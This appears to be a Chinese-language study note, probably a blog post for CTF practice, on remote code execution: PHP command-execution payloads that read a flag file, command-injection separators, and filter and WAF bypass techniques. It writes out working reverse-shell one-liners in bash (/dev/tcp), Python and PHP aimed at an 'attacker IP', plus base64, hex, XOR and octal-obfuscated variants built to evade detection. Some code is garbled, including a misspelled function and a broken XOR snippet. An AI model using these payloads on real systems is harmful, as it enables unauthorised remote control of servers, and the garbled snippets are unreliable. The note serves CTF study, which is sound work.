RCE 学习
本文总结了RCE(远程代码执行)漏洞的核心原理、常见场景和利用方法。RCE的本质是数据与指令边界模糊,导致用户输入被当作代码执行。常见场景包括系统命令调用函数(如PHP的system()、Python的os.system())、代码执行函数(eval())、反序列化漏洞和SSTI等。文章详细介绍了PHP命令执行函数的使用方式、命令分隔符技巧、反弹Shell的实现方法(包括bash、Python和P
RCE 学习
核心原理
RCE 的本质是**“数据与指令的边界模糊”**。程序本该把用户输入看作普通字符串(数据),却因为代码逻辑缺陷,将其放入了执行环境(指令)中。
常见的形成场景
- 调用系统命令的函数: 程序为了实现某些功能(如
ping某个 IP、调用系统工具),直接将用户的输入拼接到系统 shell 命令中。- PHP:
system(),exec(),shell_exec(),passthru() - Python:
os.system(),subprocess.run()
- PHP:
- 代码执行函数: 有些函数允许将字符串作为程序代码直接运行。
- PHP:
eval(),assert() - Python:
eval(),exec()
- PHP:
- 反序列化漏洞: 当程序在恢复对象状态(反序列化)时,如果处理了不受信任的数据,可能会自动触发对象内部的“魔法方法”,从而执行预设的代码。
- 服务器端模版注入 (SSTI): 模版引擎(如 Jinja2, Smarty)错误地渲染了用户输入的模版表达式,导致表达式被当作代码解析。
php命令执行函数
| 函数名 | 拿 Flag 代码示例 (Payload) | 说明 |
|---|---|---|
system() |
system("cat /flag"); |
最直接。执行完会直接把 flag 打印在页面上。 |
passthru() |
passthru("tail -n 10 /flag"); |
同样直接回显。常用于 system 被过滤时的首选替代品。 |
exec() |
exec("cat /flag", $res); print_r($res); |
坑点: 只写 exec("cat /flag") 页面通常是空的,必须要把结果数组 print_r 出来。 |
shell_exec() |
echo shell_exec("base64 /flag"); |
技巧: 遇到不可见字符时,先用 base64 编码输出,再拿回来解码。反引号同理:echo \cat /flag; |
popen() |
$f=popen("cat /flag","r"); fpsthr($f); |
打开管道后,用 fpassthru() 或 fgets() 把里面的内容读出来显示。 |
proc_open() |
$d=array(1=>array("pipe","w")); $p=proc_open("cat /flag",$d,$s); echo stream_get_contents($s[1]); |
最隐蔽。通过文件描述符 1 (stdout) 拿到输出流。在绕过某些行为检测(EDR/WAF)时非常管用。 |
pcntl_exec() |
pcntl_exec("/bin/cat", ["/flag"]); |
注意:第一个参数必须是二进制程序的绝对路径。它会杀掉当前的 PHP 进程并显示 flag。 |
反引号介绍:把一个系统命令包裹在两个反引号中时,PHP 会尝试将该字符串作为 Shell 命令执行,并将其完整的输出结果作为一个字符串返回。
用法为 `ls` `cat /flag`
命令分隔符
| 分隔符 | 名称 | 逻辑与行为 | CTF 常用示例 |
|---|---|---|---|
; |
分号 | 无条件执行。前面的执行完,立即执行后面的。 | 127.0.0.1; cat /flag |
\n |
换行符 | 等同于分号。在 URL 编码中通常表示为 %0a。 |
?ip=127.0.0.1%0acat%20/flag |
& |
后台运行 | 前后两条命令同时执行,互不影响。 | sleep 10 & cat /flag |
&& |
逻辑与 | 仅当前面执行成功(返回 0),才执行后面。 | ls && cat /flag |
| **` | `** | 管道符 | 将前面命令的输出作为后面命令的输入。 |
| **` | `** | 逻辑或 |
反弹shell
作用:让目标机器(被攻击者)主动连接你的服务器(攻击者)。这样做的好处是可以绕过目标防火墙的入站规则。
我们要先下载 nc 我下载了 nc64.exe 直接在终端中使用这个就行,用法为
/nc64.exe -lvnp 4444
-l 监听, -v 显示详细信息, -n 不解析域名, -p 指定端口
bash
bash -i >& /dev/tcp/攻击者IP/4444 0>&1
原理拆解:
bash -i:启动一个交互式的 bash 窗口。>& /dev/tcp/IP/Port:利用 Linux 的特殊设备文件,将 bash 的标准输出和错误输出重定向到你的服务器。0>&1:将标准输入也重定向到输出流中,从而实现远程输入命令。
python 3
python3 -c ‘import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“攻击者IP”,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/bash”)’
原理拆解:
socket.connect:建立 TCP 连接。os.dup2:这是核心,它将 socket 的文件描述符复制给 stdin(0), stdout(1), stderr(2),让你的输入输出都走这个 socket。pty.spawn:创建一个伪终端,让 shell 更好用。
php反弹
<?php exec("bash -i >& /dev/tcp/攻击者IP/4444 0>&1"); ?>如果有限制,则可以
base64编码绕过
echo “YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE=”(bash -i >& /dev/tcp/IP/PORT 0>&1) | base64 -d | bash
hex绕过
echo “62617368202d69203e26202f6465762f7463702f49502f504f525420303e2631” | xxd -r -p | bash
xor异或
$_=(‘%01’‘%21’).(‘%01’‘%38’).(‘%01’‘%32’).(‘%01’‘%35’).(‘%01’‘%24’).(‘%01’‘%2c’); // 得到 “system”
$=(‘%01’‘%2d’).(‘%01’‘%32’); // 得到 “ls”
(_((); // 等同于执行 system(“ls”)
八进制(或者十六进制)
$(printf “\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\111\120\57\120\117\122\124\40\60\76\46\61”)
bypass绕过
关键字过滤:双写,大小写
编码绕过:
- URL 编码:使用
%20代替空格,或二次编码(Double Encoding)。 - 十六进制/十六进制字符串:在 SQL 注入中使用
0x666c6167代替'flag'。 - Unicode/宽字节:利用编码转换过程中的差异(如著名的宽字节注入
%df%27)。
等价替换,比如/**/代替空格
ssrf中,也可以重定向,ip进制转换,@绕过url解析差异
文件上传绕过(略,看上次的md)
waf绕过:分块传输,参数污染
更多推荐
所有评论(0)